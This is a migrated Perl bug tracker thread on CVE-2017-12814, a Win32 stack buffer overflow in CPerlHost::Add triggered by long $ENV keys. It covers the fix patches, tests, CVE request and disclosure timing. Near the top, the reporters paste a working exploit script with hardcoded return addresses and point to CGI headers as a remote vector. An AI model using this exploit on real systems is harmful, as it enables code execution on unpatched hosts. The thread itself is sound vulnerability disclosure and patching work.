[CVE-2017-12814]Perl $ENV Key Stack Buffer Overflow #16051
Comments
From @AutoSecTools
void for(index = 0; lpStr[index] != '\0' && lpStr[index] != '='; ++index) szBuffer[index] = '\0'; The issue exists because the size of lpStr, the key passed in when indexing into $ENV, is not checked before it is copied into szBuffer, a fixed size stack buffer. The issue can be reproduced on a win32 build with the following script. print "Starting\r\n"; In cases where the $ENV key is exposed as attack surface, it may be possible for an attacker to achieve arbitrary code execution. The issue was exploited in Strawberry Perl, which appears to be compiled without stack canaries and ASLR. print "Starting\r\n"; $chars = $ENV{$chars x ((0x400+0x4*0x10) / length $chars)} = 0; print "Done\r\n"; A proposed patch that validates the length of lpStr follows. diff --git "a/d:\\source2\\perl-raw\\win32\\perlhost.h" "b/D:\\source2\\perl\\win32\\perlhost.h" Credit: John Leitch ( john@autosectools.com ), Bryce Darling ( darlingbryce@gmail.com ) |
From @tonycozAs text, since RT didn't want to display it inline, and the text/html link displayed source: The CPerlHost::Add method in win32\perlhost.h is vulnerable to a stack void CPerlHost::Add(LPCSTR lpStr) { char szBuffer[1024]; LPSTR *lpPtr; int index, length = strlen(lpStr)+1; for(index = 0; lpStr[index] != '\0' && lpStr[index] != '='; ++index) szBuffer[index] = lpStr[index]; szBuffer[index] = '\0'; [...] } The issue exists because the size of lpStr, the key passed in when The issue can be reproduced on a win32 build with the following print "Starting\r\n"; $ENV{"A" x (0x1000)} = 0; print "Done\r\n"; In cases where the $ENV key is exposed as attack surface, it may be print "Starting\r\n"; $chars = "\x41\x41\x41\x41" . "\x78\x6e\x3b\x6e" . # perl526!exit (6E3B6E78) "\x43\x43\x43\x43" . "\x4e\x1d\x1e\x03" . # exit code (52305230) "\x45\x45\x45\x45" . "\x46\x46\x46\x46" . "\x47\x47\x47\x47" . "\x30\x2c\x3a\x6e"; # perl526!win32_getpid (6e3a2c30) $ENV{$chars x ((0x400+0x4*0x10) / length $chars)} = 0; print "Done\r\n"; A proposed patch that validates the length of lpStr follows. diff --git "a/d:\\source2\\perl-raw\\win32\\perlhost.h" index 84b08c9..665504e 100644 --- "a/d:\\source2\\perl-raw\\win32\\perlhost.h" +++ "b/D:\\source2\\perl\\win32\\perlhost.h" @@ -2177,12 +2177,15 @@ compare(const void *arg1, const void *arg2) void CPerlHost::Add(LPCSTR lpStr) { - char szBuffer[1024]; + char szBuffer[2048]; LPSTR *lpPtr; int index, length = strlen(lpStr)+1; for(index = 0; lpStr[index] != '\0' && lpStr[index] != '='; ++index) - szBuffer[index] = lpStr[index]; + if (index != sizeof(szBuffer) - 1) + szBuffer[index] = lpStr[index]; + else + Perl_croak_nocontext("$ENV key too large"); szBuffer[index] = '\0'; Note that the buffer size had to be increased to accommodate larger Credit: John Leitch (john@autosectools.com), Bryce Darling |
|
The RT System itself - Status changed from 'new' to 'open' |
From @tonycozOn Tue, 27 Jun 2017 03:22:45 -0700, john@autosectools.com wrote:
Why the 2048 byte limit? Neither 1024 not 2048 is the limit on the length of an environment variable entry or name, and they're each about as silly as the other as the practical length of an environment variable name. I'd be inclined to either go for a dynamically allocated buffer, or a fixed buffer with a fallback to dynamic allocation. Tony |
From @AutoSecToolsI kept it as a stack buffer in case of perf concerns, and upped the size On 7/5/2017 06:18 PM, Tony Cook via RT wrote:
|
From @tonycozOn Thu, Jul 06, 2017 at 11:13:33PM -0700, John Leitch wrote:
Please attach the patch rather than pasting in inline. Thanks, |
From @AutoSecToolsAttached is an updated patch that uses a dynamically allocated heap buffer. John On 7/6/2017 11:18 PM, Tony Cook via RT wrote:
|
From @AutoSecToolsPerl_ENV_Stack_Buffer_Overflow_3.patchdiff --git "a/d:\\source2\\perl-raw\\win32\\perlhost.h" "b/D:\\source2\\perl\\win32\\perlhost.h"
index 84b08c9..eef3ac4 100644
--- "a/d:\\source2\\perl-raw\\win32\\perlhost.h"
+++ "b/D:\\source2\\perl\\win32\\perlhost.h"
@@ -2177,9 +2177,14 @@ compare(const void *arg1, const void *arg2)
void
CPerlHost::Add(LPCSTR lpStr)
{
- char szBuffer[1024];
+ LPSTR szBuffer;
LPSTR *lpPtr;
int index, length = strlen(lpStr)+1;
+ szBuffer = (LPSTR)Malloc(length);
+
+ if (szBuffer == NULL) {
+ Perl_croak_nocontext("Out of memory");
+ }
for(index = 0; lpStr[index] != '\0' && lpStr[index] != '='; ++index)
szBuffer[index] = lpStr[index];
@@ -2188,6 +2193,7 @@ CPerlHost::Add(LPCSTR lpStr)
// replacing ?
lpPtr = Lookup(szBuffer);
+ Free(szBuffer);
if (lpPtr != NULL) {
// must allocate things via host memory allocation functions
// rather than perl's Renew() et al, as the perl interpreter
|
From @tonycozOn Wed, 12 Jul 2017 01:09:44 -0700, john@autosectools.com wrote:
That's what I was looking for, but... I had a look over the Lookup() (and lookup()) code, and if I'm The attached patch eliminates the buffer. Tony |
From @tonycoz0001-perl-131665-avoid-a-buffer-overflow-in-a-buffer-we-d.patchFrom ea29f1f997817437106be659a9c357d01aba08b8 Mon Sep 17 00:00:00 2001
From: Tony Cook <tony@develop-help.com>
Date: Mon, 17 Jul 2017 15:21:08 +1000
Subject: (perl #131665) avoid a buffer overflow in a buffer we didn't need
since Lookup() treats its argument as NUL or '=' terminated.
---
win32/perlhost.h | 10 ++--------
1 file changed, 2 insertions(+), 8 deletions(-)
diff --git a/win32/perlhost.h b/win32/perlhost.h
index 84b08c9..0ce0175 100644
--- a/win32/perlhost.h
+++ b/win32/perlhost.h
@@ -2177,17 +2177,11 @@ compare(const void *arg1, const void *arg2)
void
CPerlHost::Add(LPCSTR lpStr)
{
- char szBuffer[1024];
LPSTR *lpPtr;
- int index, length = strlen(lpStr)+1;
-
- for(index = 0; lpStr[index] != '\0' && lpStr[index] != '='; ++index)
- szBuffer[index] = lpStr[index];
-
- szBuffer[index] = '\0';
+ int length = strlen(lpStr)+1;
// replacing ?
- lpPtr = Lookup(szBuffer);
+ lpPtr = Lookup(lpStr);
if (lpPtr != NULL) {
// must allocate things via host memory allocation functions
// rather than perl's Renew() et al, as the perl interpreter
--
2.7.0.windows.1
|
From @AutoSecToolsIn that case, eliminating the superfluous buffer seems ideal. John On 7/16/2017 10:22 PM, Tony Cook via RT wrote:
|
From @tonycozOn Sun, 16 Jul 2017 22:22:12 -0700, tonyc wrote:
Added tests. Do we need a CVE for this, and how are we allocating those now? Tony |
From @tonycoz0001-perl-131665-avoid-a-buffer-overflow-in-a-buffer-we-d.patchFrom 35ce250032264068ed8f95410e9fbf81873d75b9 Mon Sep 17 00:00:00 2001
From: Tony Cook <tony@develop-help.com>
Date: Thu, 27 Jul 2017 10:12:02 +1000
Subject: (perl #131665) avoid a buffer overflow in a buffer we didn't need
since Lookup() treats its argument as NUL or '=' terminated.
Previously environment variable names longer than the size of the
buffer would result in a buffer overflow.
---
t/win32/runenv.t | 21 ++++++++++++++++-----
win32/perlhost.h | 10 ++--------
2 files changed, 18 insertions(+), 13 deletions(-)
diff --git a/t/win32/runenv.t b/t/win32/runenv.t
index 514eda0..4746afa 100644
--- a/t/win32/runenv.t
+++ b/t/win32/runenv.t
@@ -14,10 +14,10 @@ BEGIN {
require Win32;
($::os_id, $::os_major) = ( Win32::GetOSVersion() )[ 4, 1 ];
if ($::os_id == 2 and $::os_major == 6) { # Vista, Server 2008 (incl R2), 7
- $::tests = 43;
+ $::tests = 45;
}
else {
- $::tests = 40;
+ $::tests = 42;
}
require './test.pl';
@@ -70,11 +70,12 @@ sub runperl_and_capture {
}
sub try {
- my ($env, $args, $stdout, $stderr) = @_;
+ my ($env, $args, $stdout, $stderr, $name) = @_;
my ($actual_stdout, $actual_stderr) = runperl_and_capture($env, $args);
+ $name ||= "";
local $::Level = $::Level + 1;
- is $actual_stdout, $stdout;
- is $actual_stderr, $stderr;
+ is $actual_stdout, $stdout, "$name - stdout";
+ is $actual_stderr, $stderr, "$name - stderr";
}
# PERL5OPT Command-line options (switches). Switches in
@@ -196,6 +197,16 @@ try({PERL5LIB => "foo",
'',
'');
+{
+ # 131665
+ # crashes without the fix
+ my $longname = "X" x 2048;
+ try({ $longname => 1 },
+ [ '-e', '"print q/ok/"' ],
+ 'ok', '',
+ 'very long env var names' );
+}
+
# Tests for S_incpush_use_sep():
my @dump_inc = ('-e', '"print \"$_\n\" foreach @INC"');
diff --git a/win32/perlhost.h b/win32/perlhost.h
index 84b08c9..3260f62 100644
--- a/win32/perlhost.h
+++ b/win32/perlhost.h
@@ -2177,17 +2177,11 @@ compare(const void *arg1, const void *arg2)
void
CPerlHost::Add(LPCSTR lpStr)
{
- char szBuffer[1024];
LPSTR *lpPtr;
- int index, length = strlen(lpStr)+1;
-
- for(index = 0; lpStr[index] != '\0' && lpStr[index] != '='; ++index)
- szBuffer[index] = lpStr[index];
-
- szBuffer[index] = '\0';
+ STRLEN length = strlen(lpStr)+1;
// replacing ?
- lpPtr = Lookup(szBuffer);
+ lpPtr = Lookup(lpStr);
if (lpPtr != NULL) {
// must allocate things via host memory allocation functions
// rather than perl's Renew() et al, as the perl interpreter
--
2.7.0.windows.1
|
From @AutoSecToolsI would say this warrants a CVE as it is highly exploitable, especially Also, to further expand upon the impact of this issue, please find John On 7/26/2017 05:12 PM, Tony Cook via RT wrote:
|
From @AutoSecToolsNo ASLR or DEP |
From @tonycozOn Mon, 07 Aug 2017 11:13:34 -0700, john@autosectools.com wrote:
That's probably our issue - the fixed base for the perl dll was introduced in 9d24289. As to allocating a CVE ID, I'm not sure how. Going by http://cve.mitre.org/cve/request_id.html - Redhat isn't suitable, this issue has no effect on Linux - the DWF form is for public issues only - the other CNAs appear to allocate ids for their own products only The Mitre form doesn't indicate whether the issue will immediately become public, I've mailed cve@mitre.org about it. Tony |
From @tonycozHi, We have a confirmed Win32 specific perl security issue, and I'd like Are you the correct person to deal with this? Your name/email came up in another issue [perl #129251] which ended up
but I didn't see a follow-up on that. Thanks, |
From andyg@activestate.comHi Tony, Thanks, please include both Dave Rolsky and myself in discussions about -Andy On Wed, Aug 9, 2017 at 9:13 PM Tony Cook <tony@develop-help.com> wrote:
|
From @tonycozOn Tue, 08 Aug 2017 22:48:27 -0700, tonyc wrote:
I've requested a CVE ID for this issue. Tony |
From @tonycozOn Fri, 11 Aug 2017 03:17:17 -0700, tonyc wrote:
This is CVE-2017-12814. Tony |
From andyg@activestate.comOn Tue, 08 Aug 2017 22:48:27 -0700, tonyc wrote:
The relocation stuff is a pretty messy issue, but I believe we build things this way because you can get address space collisions in rare cases when using many large XS modules (Wx comes to mind). bulk88 and Jan Dubois probably know the most about this issue. One bug to see is https://rt.cpan.org/Ticket/Display.html?id=78395 As for this patch, it's nice and simple and is working fine in our builds. It applies cleanly back through 5.18, and I will back-port it down to 5.8 for our enterprise customers. ActivePerl for those versions is built with Visual Studio, but I don't know if this is a more or less severe issue there. So what are the next steps here? Since this bug only affects Windows, is it enough to warrant a new point release? We had been on track to release 5.22.4, 5.24.2, and 5.26.0 before the end of August, and the patch could go in those if you don't think we need an upstream release. |
From @autarchTo build on what Andy said, we'd really like to be able to schedule our releases for this quarter. We do private releases to customers of our Enterprise builds. This would disclose the vulnerability to a small group of people. We also do Community releases which are freely available on our website. This would disclose the vulnerability to essentially everybody. Can we come up with a schedule for disclosing this bug? I assume the goal is to synchronize the bug disclosure with our Community releases and with a new Strawberry Perl release. What do we need to do to make that happen? |
From @tonycozOn Tue, 22 Aug 2017 12:25:05 -0700, andyg@activestate.com wrote:
From the discussions this is a tools bug, not a bug in Perl, and this bug can cause problems even if all of the executables/DLLs involved have non-overlapping base addresses (since some third-party DLL can cause a conflict.)
I haven't heard back from kmx yet, at this point I'm inclined to go ahead on this issue, but... We hsve two other non-Win32-specific issues https://rt-archive.perl.org/perl5/Ticket/Display.html?id=131598 (which I believe you now have access to) that we have CVE IDs for and we were planning to disclose at the same time. Last time I discussed this with Sawyer he was going to notify the disclosure mailing list once they all have CVE IDs, but it might have fallen off his radar. Tony |
From @steve-m-hayNow in blead as commit 8586647. Will shortly also be in 5.24.3-RC1 and 5.26.1-RC1... |
1 similar comment
From @steve-m-hayNow in blead as commit 8586647. Will shortly also be in 5.24.3-RC1 and 5.26.1-RC1... |
From @tonycozOn Fri, 11 Aug 2017 17:52:21 -0700, tonyc wrote:
The details I entered when requesting the CVE ID:
Proposed update for the CVE entry once the issue is public (the field names are from the CVE allocation form): Suggested description: Stack buffer overflow with crafted environment variable, leading to code execution Affected components: CPerlHost::Add() in win32/perlhost.h Attack vector: An attacker can provide a long environment variable name This issue only occurs for Win32 builds of perl. Discoverer: John Leitch (john@autosectools.com), Bryce Darling (darlingbryce@gmail.com) (no change) Affected Product Code Base: perl - 5.005_03 through 5.26 (no change) References: https://rt.perl.org/Public/Bug/Display.html?id=131665 Tony |
From @AutoSecToolsHi all, One quick but important nitpick. This vulnerability is described as a possible stack overflow here: https://metacpan.org/changes/release/SHAY/perl-5.26.1-RC1#%5BCVE-2017-12814%5D-$ENV%7B$key%7D-stack-buffer-overflow-on-Windows While it's true that I said this is possibly exploitable depending on context, there is no question that it is a stack overflow, as the exploit PoC demonstrates. Further, I prefixed my exploitability claim with "possibly" solely to avoid speaking in absolutes. I would say this is highly exploitable in most scenarios that expose env keys as attack surface. Our main concern here is that people may underestimate the severity, and our advisory will contain multiple exploits demonstrating scenarios wherein this can be remote. Internally (we don't name bugs as that's rather tacky) we affectionately refer to this one as "PerlShock," and it is by far the most critical issue we have discovered in a language to date. To provide an example, it's not uncommon for CGI web apps to save query strings name value pairs as env vars. In this case, the vulnerability would be exploitable through said query string. Though we have no concrete statistics, we have seen this pattern in the wild and thus expect this issue to have real-world ramifications. John --------- Original Message --------- Subject: [perl #131665] [CVE-2017-12814]Perl $ENV Key Stack Buffer Overflow On Fri, 11 Aug 2017 17:52:21 -0700, tonyc wrote:
The details I entered when requesting the CVE ID:
Proposed update for the CVE entry once the issue is public (the field names are from the CVE allocation form): Suggested description: Stack buffer overflow with crafted environment variable, leading to code execution Affected components: CPerlHost::Add() in win32/perlhost.h Attack vector: An attacker can provide a long environment variable name This issue only occurs for Win32 builds of perl. Discoverer: John Leitch (john@autosectools.com), Bryce Darling (darlingbryce@gmail.com) (no change) Affected Product Code Base: perl - 5.005_03 through 5.26 (no change) References: https://rt.perl.org/Public/Bug/Display.html?id=131665 Tony |
From @AutoSecToolsAddendum: a quick search for an example revealed that custom headers may be stored in env: I will investigate further this weekend, but there's a good chance this is a viable exploitation vector. --------- Original Message --------- Subject: RE: [perl #131665] [CVE-2017-12814]Perl $ENV Key Stack Buffer Overflow Hi all, One quick but important nitpick. This vulnerability is described as a possible stack overflow here: https://metacpan.org/changes/release/SHAY/perl-5.26.1-RC1#%5BCVE-2017-12814%5D-$ENV%7B$key%7D-stack-buffer-overflow-on-Windows While it's true that I said this is possibly exploitable depending on context, there is no question that it is a stack overflow, as the exploit PoC demonstrates. Further, I prefixed my exploitability claim with "possibly" solely to avoid speaking in absolutes. I would say this is highly exploitable in most scenarios that expose env keys as attack surface. Our main concern here is that people may underestimate the severity, and our advisory will contain multiple exploits demonstrating scenarios wherein this can be remote. Internally (we don't name bugs as that's rather tacky) we affectionately refer to this one as "PerlShock," and it is by far the most critical issue we have discovered in a language to date. To provide an example, it's not uncommon for CGI web apps to save query strings name value pairs as env vars. In this case, the vulnerability would be exploitable through said query string. Though we have no concrete statistics, we have seen this pattern in the wild and thus expect this issue to have real-world ramifications. John --------- Original Message --------- Subject: [perl #131665] [CVE-2017-12814]Perl $ENV Key Stack Buffer Overflow On Fri, 11 Aug 2017 17:52:21 -0700, tonyc wrote:
The details I entered when requesting the CVE ID:
Proposed update for the CVE entry once the issue is public (the field names are from the CVE allocation form): Suggested description: Stack buffer overflow with crafted environment variable, leading to code execution Affected components: CPerlHost::Add() in win32/perlhost.h Attack vector: An attacker can provide a long environment variable name This issue only occurs for Win32 builds of perl. Discoverer: John Leitch (john@autosectools.com), Bryce Darling (darlingbryce@gmail.com) (no change) Affected Product Code Base: perl - 5.005_03 through 5.26 (no change) References: https://rt.perl.org/Public/Bug/Display.html?id=131665 Tony |
From @tonycozYes, custom CGI headers are passed through with the header name https://tools.ietf.org/html/rfc3875#section-4.1.18 Tony On Fri, Sep 22, 2017 at 06:28:11PM -0700, john@autosectools.com wrote:
|
From @xsawyerxBased on this, should we postpone the disclosure of the RT ticket? On 23 September 2017 at 03:49, Tony Cook <tony@develop-help.com> wrote:
|
From @tonycozOn Sat, Sep 23, 2017 at 01:33:29PM +0200, Sawyer X wrote:
No, it's an obvious consequence of the now public patch. 5.26.1/5.24.3 (and 5.27.4) have been released so we can't change the We can go back and change the relevant perldeltas in Here's a possible replacement pod section: =head2 [CVE-2017-12814] C<$ENV{$key}> stack buffer overflow on Windows A very long environment variable would produce a buffer overflow on a If the environment variable was remotely sourced, such as with CGI, L<[perl #131665]|https://rt.perl.org/Public/Bug/Display.html?id=131665> << John, did my updated CVE details get through to you, and do you think Suggested description: Stack buffer overflow with crafted environment variable, leading to code execution. Affected components: CPerlHost::Add() in win32/perlhost.h Attack vector: An attacker can provide a long environment variable name overflowing a This issue only occurs for Win32 builds of perl. << Tony (Something in the formatting has messed up RT's rendering of the |
From @tonycozOn Mon, Sep 25, 2017 at 10:13:42AM +1000, Tony Cook wrote:
Urr, "On Win32, " at the beginning of that. Tony |
From @AutoSecToolsLooks good. Unfortunately, I got sucked into another project and didn't John On 9/24/2017 05:14 PM, Tony Cook via RT wrote:
|
|
@xsawyerx - Status changed from 'open' to 'resolved' |
From @xsawyerxNow public. |
From @tonycozOn Mon, Sep 25, 2017 at 03:12:23AM -0700, Sawyer X via RT wrote:
Update to CVE details submitted. Tony |
Migrated from rt.perl.org#131665 (status was 'resolved')
Searchable as RT131665$
The text was updated successfully, but these errors were encountered: